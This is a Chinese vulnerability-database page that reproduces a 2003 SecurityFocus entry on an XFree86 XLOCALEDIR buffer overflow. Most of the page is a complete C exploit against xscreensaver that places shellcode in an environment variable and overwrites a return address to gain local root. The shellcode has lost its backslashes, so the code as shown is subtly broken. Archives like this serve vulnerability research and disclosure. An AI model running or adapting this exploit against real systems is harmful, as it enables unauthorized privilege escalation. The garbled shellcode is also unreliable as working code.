XFree86 4.2 – ‘XLOCALEDIR’ Local Buffer Overflow (2)
漏洞ID | 1053735 | 漏洞类型 | |
发布时间 | 2003-03-03 | 更新时间 | 2003-03-03 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Linux | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7002/info
Several XFree86 utilities may be prone to a buffer overflow condition. The vulnerability exists due to insufficient boundary checks performed by these utilities when referencing the XLOCALEDIR environment variable.
A local attacker can exploit this vulnerability by setting the XLOCALEDIR environment variable to an overly long value. When the vulnerable utilities are executed, the buffer overflow vulnerability will be triggered.
/*
**
** Tested on rh 7.3 using XFree86
** xscreensaver vulnerability
** AUTHORS: Angelo Rosiello (Guilecool) & deka
** REQUIRES: X must be run!
** EFFECTS: local root exploit!
**
** deka is leet brother, thank you :>
** MAIL: [email protected]
**
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define RETADDR 0xbfffdf20 //change it if u need
char shellcode[] =
"x55x89xe5x55x89xe5x83xecx28xc6x45xd8x2fxc6x45xdc"
"x2fxc6x45xd9x5fxc6x45xdax5axc6x45xdbx5fxc6x45xdd"
"x5fxc6x45xdex5fx83x45xd9x03x83x45xdax0fx83x45xdb"
"x0fx83x45xddx14x83x45xdex09x31xc0x89x45xdfx89x45"
"xf4x8dx45xd8x89x45xf0x83xecx04x8dx45xf0x31xd2x89"
"xd3x89xc1x8bx45xf0x89xc3x31xc0x83xc0x0bxcdx80x31"
"xc0x40xcdx80";
int main()
{
char buf[4076];
unsigned long retaddr = RETADDR;
memset(buf, 0x0, 4076);
memset(buf, 0x41, 4072);
memcpy(buf+2076, &retaddr, 0x4);
setenv("XLOCALEDIR", buf, 1);
memset(buf, 0x90, 4072);
memcpy((buf+4072-strlen(shellcode)), shellcode, strlen
(shellcode));
setenv("HAXHAX", buf, 1);
execl("/usr/X11R6/bin/xscreensaver", "xscreensaver", 0);
}
acWEB拒绝服务漏洞 漏洞ID 1203388 漏洞类型 输入验证 发布时间 2002-12-31 更新时间 2002-12-31 CVE编号 CVE-2002-2421 CNNVD-ID CNNVD-200212-349 漏洞平台 N/A CVSS评分 7…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666